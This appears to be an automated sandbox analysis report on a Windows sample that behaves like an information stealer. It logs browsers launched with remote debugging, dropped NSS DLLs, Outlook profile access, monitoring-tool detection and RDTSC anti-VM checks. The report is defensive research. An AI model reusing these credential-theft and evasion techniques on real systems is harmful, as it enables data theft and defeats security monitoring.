Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2160,i,4455333709043181034,16278747037617922736,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2192,i,13559142579569110316,10378971772201908166,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6668 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6904 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7464 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7464 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5564 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2160,i,4455333709043181034,16278747037617922736,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2192,i,13559142579569110316,10378971772201908166,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6668 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6904 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7464 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7464 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5564 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2190336 > 1048576

Source: file.exe

Static PE information: Raw size of kojemgsz is bigger than: 0x100000 < 0x1abc00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2708129002.000000006FD5D000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2707743552.000000006CC6F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.2261862235.0000000004C4B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2682684437.000000000019C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2707955115.000000006CD41000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.2261862235.0000000004C4B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2682684437.000000000019C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2707955115.000000006CD41000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2707743552.000000006CC6F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2708129002.000000006FD5D000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.170000.0.unpack :EW;.rsrc :W;.idata :W; :EW;kojemgsz:EW;jocbxdlx:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;kojemgsz:EW;jocbxdlx:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x21cfb4 should be: 0x21d1e5

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: kojemgsz
Source: file.exe	Static PE information: section name: jocbxdlx
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: file.exe

Static PE information: section name: kojemgsz entropy: 7.954479779236288

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E32F5 second address: 5E32FC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3768 second address: 5E3770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E38D0 second address: 5E38F1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F7EC906D1DAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7EC906D1DFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E38F1 second address: 5E3907 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEDAh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3907 second address: 5E390B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3A8A second address: 5E3A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3A90 second address: 5E3AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007F7EC906D1E2h 0x0000000b jmp 00007F7EC906D1DCh 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F7EC906D1DAh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E737E second address: 5E7383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7383 second address: 5E73B5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7EC906D1DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D1836h], edi 0x00000013 push 00000000h 0x00000015 sub esi, dword ptr [ebp+122D29C8h] 0x0000001b push 25F92019h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jno 00007F7EC906D1D6h 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E73B5 second address: 5E7420 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F7EC882AEDAh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 25F92099h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F7EC882AED8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c push 00000003h 0x0000002e mov esi, dword ptr [ebp+122D2EEBh] 0x00000034 push 00000000h 0x00000036 mov dl, al 0x00000038 push 00000003h 0x0000003a mov ecx, 08DB5E04h 0x0000003f call 00007F7EC882AED9h 0x00000044 jmp 00007F7EC882AEE0h 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jng 00007F7EC882AEDCh 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7420 second address: 5E7424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7424 second address: 5E742A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E742A second address: 5E7460 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 jne 00007F7EC906D1D6h 0x00000017 pop eax 0x00000018 jns 00007F7EC906D1D8h 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7460 second address: 5E7474 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F7EC882AED6h 0x00000014 rdtsc
